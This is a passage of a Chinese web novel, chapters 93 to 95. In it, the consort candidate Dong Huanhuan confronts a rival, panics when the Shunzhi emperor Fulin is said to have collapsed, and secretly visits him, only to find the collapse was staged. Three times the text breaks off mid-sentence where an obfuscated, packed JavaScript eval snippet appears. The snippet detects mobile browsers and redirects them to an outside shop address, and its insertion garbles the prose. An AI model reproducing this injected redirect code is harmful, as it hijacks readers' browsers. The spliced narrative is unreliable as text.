赫舍里.青柠边说边往床边指,“赶紧扶我到床上躺躺,这一天天的,什么时候才是个头啊。” 说完一屁股躺在了床上,完全没有古代大家闺秀该有的样子,“要我说啊,你真该多出去活动活动,即使不和我们一起训练,出去透透气也是好的,你就是想太多了,才会变得如此忧郁。” 赫舍里.青柠说完翻了一下身,彻底躺下了,还不忘补充性的发表一下她的羡慕之情,“不过,说实话,真是羡慕你啊,可以天天待在屋里,不用去风吹日晒。” 赫舍里.青柠的话音刚落,陈珺娅恰好走了进来,听到赫舍里的揶揄,阴阳怪气的接话道,“就是,就是,磕破点头就可以躲过训练,早知道那天我就上了。” 真是狗改不了吃屎,这个陈珺娅真是绝了。 明明是差不多的意思,赫舍里说出来就会让人觉得毫无恶意,纯属调侃,而陈珺娅说出来,就让人感觉头皮发麻,浑身不舒服。 董浣浣觉得脑壳越来越疼了,她真的好想低调的过完在储秀宫的这几天,奈何她想低调但是实力不允许啊。 明明那天只是想拉个架的,结果受了无妄之灾,磕破了头不说。现在还被各路人马针对,以为她这是在刻意的博关注,想要引起皇上的注意,纷纷开始对她进行各种冷嘲热讽。 在被赫舍里.青柠一一帮她,怼了回去之后,就都老实多了。 话说,虽然这趟选秀之旅非她所愿,可是在这期间,能够结交到赫舍里.青柠这样的朋友,也算是不虚此行,是她人生的一大幸事了。 人的缘分真的很奇妙,明明在这一堆秀女中,她和赫舍里.青柠的家世不是最相近的,性格也不尽相同,相处的时间也不过是短短数日,甚至从某种意义上来说,她们甚至还存在着竞争关系。 可是她们偏偏就成为了朋友,她喜欢赫舍里.青柠的直率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815917|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心直口快,不做作,没有那么多的弯弯绕绕让她头疼,只是她不知道赫舍里.青柠是看上了她哪一点,这些天来,一直无条件的站在她这边,为她两肋插刀…… 为了不给赫舍里.青柠再惹麻烦,也为了自己图个清净。这两天她是能避开的,都尽量的避开了,甚至连屋子能不出去,都不出去了,可是总有避无可避的时候,就像现在。 陈珺娅这人最是欺软怕硬,狗仗人势,看到大家挤兑她,也跟着学,这才刚刚收拾完她有多久,就又不长记性,在这里阴阳怪气的故态复萌了。 但是陈珺娅这人又有点蠢,认不清形式,因为赫舍里.青柠的维护,别人都已经见好就收了,她还处在捡别人吃剩的阴阳怪气阶段…… 算了,董浣浣心想,既然躲不过,那就不忍了,正好她现在心情不好,需要找个发泄口,人家都送上门来了,哪有不用的道理。 董浣浣清了清嗓子,对着空气,故意阴阳怪气道,“有些人啊,就像是屎壳郎,它不咬人,但它恶心人……” 陈珺娅听到董浣浣这样说,气鼓鼓的反驳,“你说谁呢?” 赫舍里.青柠听到这边的动静,知道这件事董浣浣自己可以解决,就转个身蒙上被子,睡觉了。 对此,董浣浣笑着瞥了一眼陈珺娅,语气中满是不屑,“谁接话,说谁呢,你说是吧!” 陈珺娅气极,怒气冲冲的走到董浣浣的床边,指着董浣浣质问道,“你说谁呢,你再说一遍!” 闻言,董浣浣缓缓的从床上站起身来,两只眼睛紧紧的盯着她,语气冷嗖嗖的,“说你呢,就说你呢,这下你听明白了吗?” 说着又走进陈珺娅一步,抬手帮陈珺娅整理了一下她旗头上的珠花,以她们两个人能听到的声音开口道,“我说你这个人是不是听不懂人话,我是不是和你说过,不要再惹我,不要惹我,你是不是也答应了?” 整理好陈珺娅旗头上的珠花,董浣浣顺手摸了摸陈珺娅的脸蛋,自言自语般的说道,“可是,你怎么就是屡教不改呢,这么漂亮的小脸,怎么就长了这么张不争气的嘴呢,万一哪天被人不小心刮花了,可真是够可惜的,我明明是个好人来着,为什么一直逼人家做坏事呢,人家明明一直不想做坏人来着……” 语气轻柔,就像是自言自语的低喃,可是说出来的话,却让人不自觉的汗毛直立。 陈珺娅被她眼中散发出来的冷冽气息给镇住了,杵在那里,一时间竟然忘记了反抗。 许久,待陈珺娅反应过来董浣浣说了什么之后,才喃喃的开口询问道,“你这是在威胁我?” 闻言,董浣浣轻笑了一声,拍了拍她的肩膀,“当然啦,不然你以为这会儿我是在和你干什么?闲聊吗?” 说完也不等陈珺娅反应,转身走向水盆,准备梳洗一番,去去晦气。 见状,陈珺娅急了,以为董浣浣是要拿水盆泼她,赶忙追上董浣浣,按住水盆,“你敢,这里是皇宫……” 董浣浣撇了陈珺娅一眼,从她手中抽出水盆,推开门走出去,临走前还不忘开口,“威胁你,就是威胁你,还要挑地方吗……” 93. 福临昏倒 才几日没随众人一同训练,一天下来,董浣浣只觉浑身骨头都像散了架,每走一步都牵扯着酸痛的筋肉,仿佛下一刻就要瘫倒在地,死翘翘了。 “你吃得消吗?”往回走的路上,赫舍里·青柠见她脸色发白,不由得攥紧了她的手腕,语气里满是担忧。 董浣浣点点头,表示无碍。 赫舍里.青柠见状,索性挽住她的胳膊,絮絮叨叨地劝:“我之前那么说,只是想让你出来放放风,不是真让你和我们一起挨训啊。 你头上的伤还没好利索,这么着急回来做什么?就连齐嬷嬷那样没人性的大魔头,都说你可以多休息两天,你又何苦这么早和我们一起受罪。 况且,整日跟那群豺狼虎豹似的秀女们混在一起,万一再磕着碰着,难不成大选那日,你要顶着一身伤去见皇上和太后呀?” 董浣浣闻言,笑着打趣赫舍里.青柠道:“原来你也知道齐嬷嬷是大魔头啊,连你和钮祜禄·亦凝都不敢得罪的人,我这等小喽啰这样连着休息,齐嬷嬷估计早就看我不顺眼了,指不定在心里给我记了多少笔账。一直隐忍不发,不知道正琢磨着用什么手段收拾我呢。我还是识趣些,早点归队,接受折磨。或许她可以看在我这么有眼色的份上,放我一马,让我少受点罪。” 赫舍里.青柠闻言愣了愣,仔细一想竟觉得十分在理。这入宫受训的日子已经接近尾声,多一事不如少一事,若真成了齐嬷嬷的眼中钉,往后事事被针对,实在是得不偿失。 知晓赫舍里.青柠是真心为自己担忧,董浣浣轻轻拍了拍她的手背,温声道:“再说了,我也休息够了。再休息下去,感觉整个人都要发霉了。回来训练,权当是活动筋骨了,总好过一直搞特殊,被人背后嚼舌根。” 她不想搞特殊被人说闲话,如果不是这次意外,她更希望可以默默无闻的走到最后,最好是那种许多年过后,这群人回忆起这段日子,甚至都不会记得有她这么号人…… 更何况,前几日那场风波的双方当事人,都受到了齐嬷嬷的严厉处罚。一个是传闻中即将成为宠妃的人,一个是赫舍里.青柠口中在宫里能横着走的主儿,齐嬷嬷尚且公事公办,半分颜面不留。 而她明明只是擦伤加轻微脑震荡,却没有受到任何处罚,甚至还可以休息。 虽然赫舍里.青柠一直替她强调,她当时的那种行为是在调解,是在拉架,是值得被鼓励的。齐嬷嬷是秉公处理,绝对没有包庇她。 但是董浣浣也知道,若按齐嬷嬷往日的性子,定是一竿子打翻一船人,以儆效尤,断不会对她格外开恩。 是以,她实在猜不透,这究竟是众人皆有的待遇,还是福临在暗地里给她的特殊关照。若真是后者,她便更不能再歇下去了。如今本就是多事之秋,她不想因为这点“特殊”,让福临在前朝又落人口实。 见她心意已决,青柠也不好再多说什么,只得拍拍她的后背,反复叮嘱:“罢了罢了,真是说不过你,你自己多当心些吧。” 董浣浣点头应下,两人正并肩走着,却见前方岔路口围了一群人,叽叽喳喳的议论声传来。 “这是怎么了?”赫舍里.青柠皱起眉,拉着董浣浣凑近了些。 拨开人群一看,才知道又有人打起来了。 董浣浣不由得在心里暗叹:果然有人的地方就有江湖。这才消停几日,竟又闹起来了。她暗自祈祷,但愿别像上次那般闹到惊动管事嬷嬷,否则谁都讨不了好。 可看这围观的架势,董浣浣觉得她的愿望怕是要落空了。董浣浣看着场上还在拉扯的二人,着实为她们捏了把汗。 只是令董浣浣没有想到的是,这次打架的其中一方竟然是,佟佳·静姝。 要知道,她可是众秀女一致认为的胆小怕事之辈,整日像只受惊的鹌鹑一样,谨小慎微的,是个连齐嬷嬷都挑不出错来的主。何况打架的另一方还是在秀女训练期间一直与她交好的唐芿。 董浣浣与她们交集不多,却也看得出这两人素来要好,好得仿佛共用一个影子。她实在想不通,究竟是什么深仇大恨,能让静姝这样怯懦的人当众动手,能让一对挚友闹到这般地步。 她下意识地想往前走些,想听听究竟是何缘由,就被赫舍里.青柠误以为她又要去拉架,一把将她拽了回来。 “你要干什么?不要命了?”赫舍里.青柠的声音里带着急怒,死死攥着她往后退,“别忘了你的头上还有伤,万一再被误伤了怎么办?” 怕董浣浣还有上前的意图,赫舍里.青柠索性一鼓作气,直接将她拉出人群,躲到僻静的角落,压低声音道:“再者说,她们闹得这么凶,这么多人围观,估计很快就会惊动齐嬷嬷。到时候你又牵扯其中,难保不会被迁怒,这次齐嬷嬷恐怕就不会像上次那般好说话了……” 看到赫舍里.青柠紧张得眉头都拧在了一起,董浣浣忍不住“噗嗤”笑出了声,然后又自觉不妥,赶紧捂上了嘴巴。偷瞄了眼远处的人群,见没人注意这边,才放下手,轻笑着和赫舍里.青柠说道:“我刚刚没有想去拉架,我只是好奇,想走近点,想听听她们到底是因为什么打架而已,瞧把你紧张的。” 听到她这样说,赫舍里.青柠这才松了口气,拍着胸口道:“你这么想就对了。不过,为了保险起见,你还是不要凑这个热闹了,万一被伤及无辜,可就得不偿失了。” 董浣浣笑着拍了拍她的手,故意拖长了调子撒娇:“知道了,我的赫舍里大小姐。为了让您老人家放心,我向你保证,从今天开始,我就把自己的好奇心掐得死死的,绝对不会让自己再置身于危险之中,成吗?” 闻言,赫舍里.青柠轻哼了一声,道:“你最好说到做到。” 赫舍里,青柠的话音刚落,董浣浣还想再和她说些什么的时候,就见管事嬷嬷带着两个小太监快步走来,厉声喝道:“都围在这里做什么?!” 人群瞬间安静,纷纷往后退。嬷嬷眼尖,一眼就看到了还在拉扯的佟佳.静姝与唐芿,当即沉下脸,让小太监上前将两人拉开,冷声道:“跟我走!” 两人被拽着往外走,发髻散乱,脸上还带着泪痕,却依旧梗着脖子瞪着对方。 嬷嬷又转过身,冲着围观的秀女们怒斥:“都散了,都散了!难道都想去辛者库受罚吗?” 众人闻言,哪里还敢停留,纷纷低着头往自己的住处走,一时间脚步声、衣袂摩擦声混杂在一起,倒比刚才的议论声还要嘈杂。 谁知还没走多远,姗姗来迟的钮祜禄.亦凝就带来了一条更加炸裂的消息。 皇上昏倒了…… 这一句话像惊雷般炸响,原本正要散去的秀女们齐刷刷地顿住脚步,猛地回头看向钮祜禄.亦凝,脸上满是难以置信。 “你说什么?” “皇上怎么会晕倒?” “是不是听错了?” 议论声瞬间炸开,比刚才看打架时还要喧闹几分。 而本来和赫舍里.青柠还在打趣的董浣浣,听到这个消息,只觉得脑子里“嗡”的一声,之后便是一片空白,浑身的力气像是被抽走了一般,差点跌倒。还好,赫舍里.青柠眼疾手快的扶住了她。 赫舍里.青柠扶着她,有些担忧的轻声道,“小心点。” 周围的目光瞬间聚焦过来,带着探究与好奇。赫舍里.青柠心中一紧,立刻提高了些声音,带着嗔怪的语气道:“你没事吧,都说让你歇着了,让你不要逞强,你偏要逞强和我们一起训练,看看现在身体吃不消了吧?” 听赫舍里.青柠这样说,其他人从董浣浣的身上收起打量的目光,又议论纷纷的乱作一团,各种担忧,各种猜测层出不穷…… 毕竟与皇上的安危相比,此刻其他人哪里还有心思关心她的死活。 董浣浣靠在赫舍里.青柠怀里,死死掐着自己的颤抖的手,尖锐的疼痛让她勉强维持着清醒。 心中一遍遍默念:稳住,董浣浣,你一定要稳住,绝对不能在此刻倒下去。 如果现在倒下去了,她筹谋了这么久的计划就全完了,还会给福临惹来一堆麻烦。 董浣浣,一定要稳住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815918|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 董浣浣深吸一口气,强迫自己挺直脊背,抬起头时,脸上已挤出一个苍白的笑容,对赫舍里.青柠道:“我没事,刚才头有点晕,缓一下,感觉好多了。” 听她这样说,赫舍里.青柠还是有些不放心的确认,“真没事儿?要不还是请太医来瞧瞧吧?” 董浣浣连忙摇头:“真的不用了,我感觉好多了。况且,这会儿太医院指定乱成一锅粥了,我就别再给添乱了。” 赫舍里.青柠想想也是,皇上突然晕倒,这件事非同小可,太医院此刻指定是忙疯了,遂赞同的点了点头,但还是不放心的再次确认:“你确定没事吗?” 董浣浣点了点头,再次保证,“我真没事,你放心吧。” 赫舍里.青柠这才放下心来,“既然这样,那我们还是先回房间吧,这里乌烟瘴气,对你的身体影响不好。” 董浣浣点头,挽着赫舍里.青柠的胳膊,“嗯,我们回去吧。” 到了房门口,赫舍里.青柠刚推开房门,董浣浣忽然摸了摸手腕,像是想起了什么,对赫舍里.青柠道:“我的手镯落在刺绣的屋子里了,你先回房歇着,我去拿一下就回。” 赫舍里.青柠闻言,立刻道:“长什么样子的?很重要吗?我陪你一起回去找吧。” “不用不用,”董浣浣连忙摆手,婉拒道,“不用了,你先回房歇着,我去去就回,很快的。” 说完,不等赫舍里.青柠反应,便急匆匆的转身离去。 走出一段距离,在确定没人跟上来之后,董浣浣脸上强撑的镇定瞬间崩塌。她踉跄着拐进旁边的僻静处,躲进无人的净房,再也忍不住,两行清泪无声地滑落,紧接着便是一阵剧烈的干呕。 胃里翻江倒海,仿佛要将五脏六腑都吐出来。她扶着冰冷的墙壁,浑身止不住地颤抖。 她好害怕,她真的好害怕啊,明明知道他一定会安然无恙的,可是在听到他昏倒的那一刻,还是会没来由的害怕。心脏像是被一只无形的手攥紧,连呼吸都带着疼。那种深入骨髓的恐惧,让她几乎站立不稳。 她现在后悔极了,恨不得狠狠抽自己两巴掌。 早知道会这样,早知道会这样,那天她就该去哄他的。 明明那天已经看到他有多累了,心里却只想着自己,轻易说出那句话去刺激他,她真该死啊…… 豆大的泪珠一颗颗落下,董浣浣崩溃的想要放声大哭,却发现自己根本发不出声音,喉咙里却像堵着什么东西,只能发出细碎的呜咽,嘴唇抖得不成样子…… 不知过了多久,门外忽然传来赫舍里.青柠的关切声:“浣浣?你好了吗?要不……我们还是找太医来瞧瞧吧?” 董浣浣没想到赫舍里.青柠会跟来。她慌忙抓起手帕,胡乱擦了擦脸,来不及细想其他,收拾了一下仪容,她深吸一口气,扯出一丝笑容,推开门走了出去,“我没事,许是前些日子躺久了,乍一活动不适应,没什么事。皇上昏倒,这会儿太医院应该正忙,我这点小事,真不用麻烦太医了。” 这时候,太医最应该去的地方就是他身边。虽然知道此时他一定会安然无恙的醒过来,但是身体上的疼痛是她无法预知的,她不希望他有一丁点的不舒服。 赫舍里.青柠抬眼便看到她惨白如纸的脸色,眼底的担忧更甚,伸手扶住她的胳膊:“你这脸色……你确定你真的没事吗?真的不需要找太医瞧瞧?” “真的没事,”董浣浣点头,语气带着几分固执,“拿了手镯回房歇会儿就好了。” 赫舍里.青柠拗不过她,只得扶着她陪着她一起去了。 是夜,万籁俱寂。 董浣浣躺在床上,听着其他人均匀的呼吸声,悄悄起身,披了件外衣溜出房门。 院子最偏僻的角落里,昏黄的灯笼下,李顺德的身影早已等候在那里。见她走来,李顺德躬身行礼,声音压得极低:“浣主儿。” 董浣浣攥紧了袖中的手帕,指尖因用力而泛白,哑声道:“李公公,我要去见皇上,麻烦你给带一下路……” 94. 和好 董浣浣跟着李顺德穿过养心殿的朱漆回廊时,风吹树梢拂动的轻响,都像是敲在她紧绷的神经上。 她一路疾走,顾不得差一点被绊倒的狼狈,只想着早一些见到他。 直到在望见那抹月白身影时,她的心才算回到了实处。 福临就站在雕花窗前,手里正把玩着一枚羊脂玉扳指,月白常服的下摆随着他转身的动作轻扫过金砖地,带起一阵清浅的风。 他脸上分明还带着几分温浅的笑意,可这笑意落在董浣浣眼里,却让她喉头一哽。 看着安然无恙站在那里的福临,她瞬间明白了怎么一回事。 此时她的心绪百转千回,有一种劫后余生的庆幸,又有一种被欺骗的愠怒,还有一种难以名状的委屈,一时间愣在那里不知道该如何应对当前的情形,只是低着头,喃喃的开口道,“你骗我……”,声音带着不易察觉的颤抖。 福临见她这副模样,就知道他的姑娘好像是误会了一些事。 他随手将玉扳指搁在紫檀木案上,无奈的叹了口气,他冲着她张开怀抱,宽大的袍袖在空中划出柔和的弧度:“还愣在那里做什么?还不快过来抱抱……” 董浣浣闻言,也顾不得矜持和委屈,几乎是踉跄着扑进他怀里的。锦缎衣料下的胸膛温热而坚实,她把脸埋在他颈窝处,积攒了一路的恐慌与委屈在此刻终于找到了宣泄的出口。 “下次不许再这样骗我了……”她的声音闷在布料里,带着浓重的鼻音。 站在殿角的吴良辅与李顺德交换了一个眼神,悄无声息地退了出去,顺手轻轻阖上了殿门。 厚重的木门发出“咔哒”一声轻响,将外面的宫闱喧嚣隔绝在外,只留下殿内跳跃的烛火与两人交叠的呼吸声。 福临抬手轻轻抚着她的发,“是我不好,让你担心了。”他的声音低沉而温柔,带着安抚人心的力量。 他的姑娘,好像总是在软弱的时候,才会变得特别粘人,才会让他感觉到她好像也很需要他,不会让他有那种她随时都会离开的错觉。 感受着怀中人温热的呼吸拂过颈侧,福临那颗悬了几日的心,终于稳稳落回了原处,原来被她这般惦记着、紧张着,是如此熨帖的滋味。 福临拍着董浣浣的背,轻轻的,一下下的,安抚着她的情绪,然后轻声的开口解释,“不过,你好像是误会我了……” 董浣浣在他怀里轻轻蹭了蹭,像只慵懒的猫,尾音带着懵懂的气音:“嗯?” 这无意识的撒娇让福临耳尖悄悄泛起了红晕。他虽在朝堂上早已练就喜怒不形于色的本事,可面对她这接二连三的无意撩拨,一向稳重如山的少年,终究还是悄悄地红了耳垂。 他能在众臣面前沉稳决断,却会在她靠近时心跳如擂鼓。他能对天下事运筹帷幄,却猜不透她偶尔掠过眼底的疏离。 他知道他的心在疯狂的悸动着,他从未想到过有一天,一个女人可以如此轻易的就能牵动着他的情绪。 如果以前有人告诉他,他会因为一个女人变得情绪反复无常,他一定会觉得自己肯定是疯了,可以现在他却觉得感觉还不错,毕竟他也是第一次谈恋爱呀。 指尖在她发尾轻轻打转,他忍不住在心里偷偷想着,她那日说的“谈恋爱”,大抵就是这般滋味吧,酸酸甜甜各种滋味让人回味无穷。 福临轻咳一声,掩饰了一下心中的尴尬,下巴抵着她的发顶缓缓开口:“还记得之前我与你提起的洪先生吗?” 董浣浣在他怀里点了点头,心想:洪承畴嘛,看过电视的都知道,福临身边不可或缺的一位军师,她自然记得。 她又往他怀里缩了缩,仿佛这样就能汲取更多的安全感,全然没察觉自己这无意识的依赖,正让怀中人的心跳漏了一拍。 “因为朝堂的一些事,我和洪师父临时决定的对策。”福临的声音低了些,带着一丝歉意,“不是针对你的,只因事发仓促,没能提前告诉你,倒是让你……受惊吓了。” 他顿了顿,眼底掠过一丝复杂的情绪。虽然因为前几天她说的那些话,让他很没有安全感。他听信了卫霖那小子的“谗言”,故意晾了她几日,想让她自己想清楚,甚至也想过是不是该做些什么,让她产生些危机感,也为他紧张一下。但是到底还是没舍得让她本来就复杂的心情雪上加霜,更何况她的头上还有伤,更不宜忧思过度。 只是没想到洪先生的这招,以退为进,可谓是一箭双雕,不仅给了那些老顽固一个措手不及,竟也误打误撞的让他的姑娘因为紧张他的安危,这么快的跑来见他,这几日积攒的相思之苦,仿佛都在她扑进怀里的那一刻,烟消云散了。 董浣浣忽然抬起头,眼里还汪着水光,“下次不许了,我真的怕……”她的声音带着哭腔,连呼吸都透着委屈。 福临看着她这副模样,心头一紧,抬手轻轻替她拭去眼角的泪珠,指腹的温度烫得她微微一颤。 “不会了,再也不会了。”他语气郑重的开口,“朕以大清皇帝的名义起誓,往后绝不再做让你担惊受怕的事,若违此誓……” “嘘。”董浣浣猛地伸出手捂住他的嘴,掌心触到他微凉的唇瓣,“我信你,不必起誓。” 董浣浣知道此时他以朕自称,不是在强调他们之间的身份差距,也知道他以朕这个自称发誓,有多大的份量。 可是她还是不敢让他这么做,虽然她没穿越过来之前,还在研究佛经,虽然她一直喜欢一些奇奇怪怪的书籍,但那些都只是因为她觉得有趣、好玩。她本质上一直是一个无神论者,一直不相信什么天道轮回。但是此刻她却害怕他因为发的这个誓,受到一丁点伤害。 宁可信其有,不可信其无,她胆小,她不敢赌…… 福临握住她覆在自己唇上的手,指腹轻轻摩挲着她细腻的肌肤,然后将她的手轻轻拿开,转而将她更紧地拥在怀里。 窗外月亮高悬,清辉透过雕花窗棂洒进来,在地上投下斑驳的光影。殿内烛火摇曳,将两人相拥的影子拉得很长,映在金砖地上,温馨而静谧。 没有朝堂上的尔虞我诈、勾心斗角,只有彼此清晰可闻的呼吸声。福临低头看着怀中人柔软的发顶,心里忽然生出一种前所未有的满足,他多想这样的时光能长一些,再长一些…… 不知过了多久,怀里的人儿轻轻动了动,声音带着一丝不自在:“福临,我腿麻了。” 董浣浣的本意,是想告诉福临,她出来的时间太长了,该离开了,毕竟她是趁着房间里的那三位睡着了偷跑出来的,不能在外面逗留太长时间,万一被发现了,后果不堪设想…… 谁知听到她的话,福临竟然拦腰将她一把抱起,吓得董浣浣一声惊呼,下意识的揽住他的脖子,脸刷的一下变得绯红,羞赫的开口让他把自己放下,她可以自己走。 福临无视了她的请求,只低头在她耳边轻声道:“抓紧了。” 他抱着她稳步走向旁边的御榻,动作稳健而轻柔。御榻上铺着厚厚的软垫,他将她轻轻的缓缓的放下,又细心地在她背后塞了个软枕,让她能舒服地靠着。做完这一切,他才挨着她在榻边坐下,目光温柔地落在她脸上。 董浣浣被他这一系列行云流水的操作惊得愣住了,心脏跳得飞快,手足无措的任由他安排,待他忙完之后,一时间都不知道该怎么做,她靠在软枕上,连眼珠都不敢乱转一下,只是直勾勾地盯着远处的窗棂,试图让自己慌乱的心绪平静下来。 福临见她这副窘迫的模样,忍不住低笑出声。他伸出手,轻轻捏住她的下巴,迫使她转过头来正视着自己。从她那双带着几分疑惑、几分震惊,却又亮晶晶的眼睛里,他清晰地看到了自己的倒影,这种感觉让他心安。 董浣浣被他看得更加不自在,慌忙想要低下头,却被他的手轻轻按住,“别动,让我看看你的伤口。”他的声音低沉而温柔,带着不容拒绝的意味。 话音刚落,他便微微俯身,凑近了她的额头。太近了,真是太近了,董浣浣甚至能清晰地看到他脸上细小的绒毛,听到他清浅的呼吸声,感觉自己的脸颊像被火烧一样滚烫。 他的目光落在她额角那道浅浅的疤痕上,伸出指腹轻轻碰了碰,动作轻柔得仿佛怕碰疼了她。“还疼吗?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815919|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日太医都来瞧过了吗?” “早就不疼了。”董浣浣定了定神,努力让自己的声音听起来平静些,“太医每天都会来复查,你放心吧。” 她说完,不等福临开口,便深吸一口气,截断了他的话头,“你现在不是关心我这点小伤的时候。虽然我不知道朝堂上到底发生了什么事,但能让你做出装昏倒这样的举动,一定是出了大事。” 听她这样说,福临刚想开口说些什么,却又被她打断了,“我懂,我都懂,你想说什么我都明白。” 董浣浣将他放在她脸上的手拿下来,放在她的膝上,她的手覆在他的手上,有一下没一下地轻拍着,“不需要和我解释那些朝堂之事,我没有太多的时间去关心那些。朝堂上的事,我不懂,也帮不上什么忙。 此刻我唯一关心的,只有你的安危。答应我,无论以后事态会如何发展,前路有多少坎坷,就当是为了我,一定要保重好你的身体。 你说过我们的命运绑在了一起,就像你害怕我受伤一样,我也不想在毫无防备的情况下,再次听到你昏倒的传闻了,我害怕,真的很害怕……” 她永远都无法忘记,今天听到他出事时,那难以名状的心痛。她不敢想象,如果下一次再出现这样的情况,她会变成什么样。更不敢想象,如果今天他真的昏倒了,她该怎么办。 还好是虚惊一场,还好他毫发无损、安然无恙,只要他好好的,其他的都不重要了…… 听着她带着后怕的声音,福临反手紧紧握住她的手,目光灼灼地望着她,语气无比郑重:“我答应你。” 就在董浣浣被他这认真的眼神看得心头微动,几乎要溺毙时,他却突然话锋一转,语气里竟带了几分委屈和促狭:“所以,现在你理解我的感受了吗?就问你以后还敢不敢再吓我了?” 这哀怨的语气?他这是在和她翻旧账,撒娇吗? 她抬起头,撞进他带着几分戏谑的眼底,那里面分明映着自己的影子。她忍不住有些好气又有些好笑,这位堂堂天子,此刻竟像个讨不到糖就耍赖的孩子。 真是太记仇了,董浣浣以为在这样的氛围下,之前的事情就算是囫囵过去,翻篇了,没想到他居然还记得呢。 董浣浣感慨,到底是从小受到的教育不同啊,她们家没教这么记仇来着…… 董浣浣微皱了一下鼻子,慢慢的从口中,轻哼出一句:“我知道错了,下次再也不敢了。”就算是道歉了。 说完,就欲起身离开,“时辰不早了,我该回去了。我是偷偷溜出来的,万一被人发现就麻烦了……” 谁知她刚站起身,手腕却被福临拉住,往后轻轻一带,整个人重心不稳,竟直接摔进了他的怀里,以一种极其尴尬的姿势趴在了他的胸口上。头顶传来他低低的轻笑声:“等等呀,我的话还没有说完。” 董浣浣不用抬头,都能想象到他此刻眉眼俱笑的模样。 又来? 如果说上次在汤师父家里是他故意的,那么这次,她确定他绝对是特意的。 不对劲,实在是不对劲,今天的福临变得太不像他了。 这样的福临让董浣浣都有些错觉,这样“纨绔子弟”做派的男人,到底还是不是当初她认识的那个玉树兰芝、风朗气清的翩翩君子了。到底是谁附在了他身上,让一个本该天子威严的皇帝,变成一副无赖模样。 趴在他胸口的姿势实在是太过暧昧,董浣浣慌忙想要爬起来,却被他一把又按回到了原处。 “嘘,别动。”他的声音带着一丝慵懒的沙哑,在她耳边响起,“你再动,我可就保证不了接下来会发生什么事了哦。” 闻言,董浣浣只觉得一股热流瞬间直冲脑门,整个脸都涨得通红。她在心里哀嚎:神啊,到底是谁附在了他身上,让他变成如此流里流气的模样。赶快把他收走,把我的安齐修还回来呀…… 可她也只能在心里想想,身体却被他牢牢按住,动弹不得。鼻尖萦绕着他身上好闻的气息,耳边是他沉稳有力的心跳声,董浣浣只觉得自己的心跳也跟着乱了节拍,一时间竟不知该如何是好。 95. 心乱 就在董浣浣以为自己要以这种尴尬的姿势待到天荒地老时,福临终于放过了她,将她扶了起来。 董浣浣刚想借着起身的势头退开半步,拉开这过分亲昵的距离,手腕却被他顺势攥住,他掌心的力道不重,却带着不容置疑的掌控力。 她还没来得及反应,便被福临推坐在榻上,福临紧随其后,俯下身来,竟将头枕在了她的腿上。 他像只寻到暖窝的猫,在她膝头轻轻蹭了蹭,调整着姿势,最终寻到个舒服的角度,缓缓闭上了眼睛,长而密的睫毛在眼下投出浅浅的阴影,竟有几分孩子气的慵懒。 “你别动,就抱一会儿,就好了……”他的声音带着一丝不易察觉的沙哑,像是午后初醒时的呓语,轻轻落在董浣浣的心上。 这次董浣浣学乖了,听话的立马不动了。她正襟危坐,大气都不敢出一下。 福临似乎很满意她的乖顺,唇角几不可见地向上弯了弯,又在她的腿上轻轻蹭了蹭。柔软的发丝扫过她的衣料,带来一阵微痒,董浣浣却连动都不敢动,只能硬生生忍着,任由那痒意顺着肌理蔓延,一路窜到心尖上。 董浣浣不知道刚才她在福临胸口上蹭的时候,福临是什么感受,只知道此刻她紧张的快要呼吸不上来了。董浣浣咬着下唇,指尖悄悄蜷缩起来,此刻她的手心已沁出薄汗,连带着后颈都泛起了热意。 不对劲,真的不对劲。真要命,真的很要命。 董浣浣的心跳得更乱了。今天的福临太反常了,太粘人了,像块被温水泡软的糖,黏得让她手足无措。 这完全不是他平时的处事风格,这种陌生的亲昵让董浣浣慌了神,脑子里乱糟糟的。 董浣浣忽然闪过一个念头,都说生病的人会格外脆弱,异常黏人。难道福临是真的病了?是为了不让她担心,才故意骗她说在装病? 想到这,董浣浣的心一下子揪紧了,担忧瞬间压过了那份莫名的慌乱。她小心翼翼地抬起手,指尖悬在半空犹豫了片刻,才轻轻落下,试探着抚上他的额头。 温热的触感传来,温度平和,并没有发烧的迹象。董浣浣暗暗松了口气,指尖却依旧停留在他的额角,舍不得移开。可心底的担忧并未完全散去,她还是有些不放心,斟酌着开口提议道:“福临,我们要不要……” 话未说完,福临便缓缓转过身,换了个更舒服的姿势,仰头望着她。他的眼底带着几分慵懒的笑意,喉间溢出低低的呓语:“嗯,你说……” 被他这样近距离地注视着,董浣浣只觉得脸颊发烫,连声音都有些发紧。她硬着头皮,将后半句话说了出来:“我是说,既然你已经对外称病了,保险起见,咱们是不是要让太医来仔细瞧瞧,比较好。” 